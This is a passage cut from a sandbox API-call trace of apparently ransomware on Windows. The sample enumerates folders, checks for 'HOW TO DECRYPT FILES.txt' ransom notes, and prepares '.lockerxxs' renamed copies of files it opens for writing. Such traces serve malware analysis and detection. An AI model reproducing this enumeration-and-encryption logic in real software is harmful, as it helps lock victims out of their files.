ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0092.146] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0092.146] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x18f51c, dwReserved1=0x4f0048, cFileName="watermark.png", cAlternateFileName="")) returned 1 [0092.146] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.146] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="watermark.png") returned -1 [0092.146] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="watermark.png") returned -1 [0092.146] lstrcmpiA (lpString1="", lpString2="watermark.png") returned -1 [0092.146] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml") returned="behavior.xml" [0092.146] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0092.146] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="" [0092.147] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW TO DECRYPT FILES.txt" [0092.147] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\how to decrypt files.txt")) returned 0x20 [0092.147] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", lpString2="watermark.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" [0092.147] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" [0092.147] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" [0092.147] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", lpString2="." | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png.") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png." [0092.147] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png.lockerxxs") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png.lockerxxs" [0092.147] CreateFileA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.147] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x18f51c, dwReserved1=0x4f0048, cFileName="watermark.png", cAlternateFileName="")) returned 0 [0092.147] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0092.147] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfff64e40, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff64e40, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4970, dwReserved1=0x18001008, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0 [0092.147] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.147] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650044, dwReserved1=0x690076, cFileName="Task", cAlternateFileName="")) returned 1 [0092.148] lstrcmpA (lpString1=".", lpString2="Task") returned -1 [0092.148] lstrcmpA (lpString1="..", lpString2="Task") returned -1 [0092.148] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\*.*") returned="*.*" [0092.148] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\", lpString2="Task" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" [0092.148] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4970, dwReserved1=0x18001008, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.148] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.148] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x18000000, cFileName="..", cAlternateFileName="")) returned 1 [0092.148] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.148] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.148] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfff8afa0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff8afa0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1 [0092.148] lstrcmpA (lpString1=".", lpString2="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned -1 [0092.148] lstrcmpA (lpString1="..", lpString2="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned -1 [0092.148] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*.*") returned="*.*" [0092.148] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\", lpString2="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0092.149] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfff8afa0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff8afa0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.149] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.149] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfff8afa0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff8afa0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.149] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.149] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.149] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfff8afa0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff8afa0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.149] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0092.149] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0092.149] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*.*") returned="*.*" [0092.149] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="en-US" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" [0092.149] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfff8afa0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff8afa0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.150] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.150] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfff8afa0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff8afa0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.150] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.150] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.150] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0092.150] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.150] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0092.150] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0092.150] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x18f3cc, dwReserved1=0x4f0048, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0092.150] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.150] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="resource.xml") returned -1 [0092.150] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="resource.xml") returned -1 [0092.150] lstrcmpiA (lpString1="", lpString2="resource.xml") returned -1 [0092.150] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*.*") returned="*.*" [0092.150] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\" [0092.150] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\") returned="" [0092.150] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\HOW TO DECRYPT FILES.txt" [0092.151] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\how to decrypt files.txt")) returned 0x20 [0092.151] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\", lpString2="resource.xml" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" [0092.151] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x18f3cc, dwReserved1=0x4f0048, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0092.151] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0092.151] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c7f9e6, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c7f9e6, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0092.151] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.151] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="folder.ico") returned -1 [0092.151] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="folder.ico") returned 1 [0092.151] lstrcmpiA (lpString1="", lpString2="folder.ico") returned -1 [0092.151] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*.*") returned="*.*" [0092.151] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0092.151] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="" [0092.151] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" [0092.151] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\how to decrypt files.txt")) returned 0x20 [0092.152] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="folder.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" [0092.152] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0092.152] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.152] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0092.152] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0092.152] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x18f51c, dwReserved1=0x4f0048, cFileName="netfol.ico", cAlternateFileName="")) returned 1 [0092.152] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.152] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="netfol.ico") returned -1 [0092.152] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="netfol.ico") returned -1 [0092.152] lstrcmpiA (lpString1="", lpString2="netfol.ico") returned -1 [0092.152] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico") returned="folder.ico" [0092.152] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0092.152] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="" [0092.152] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" [0092.153] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\how to decrypt files.txt")) returned 0x20 [0092.153] lstrcatA (in: 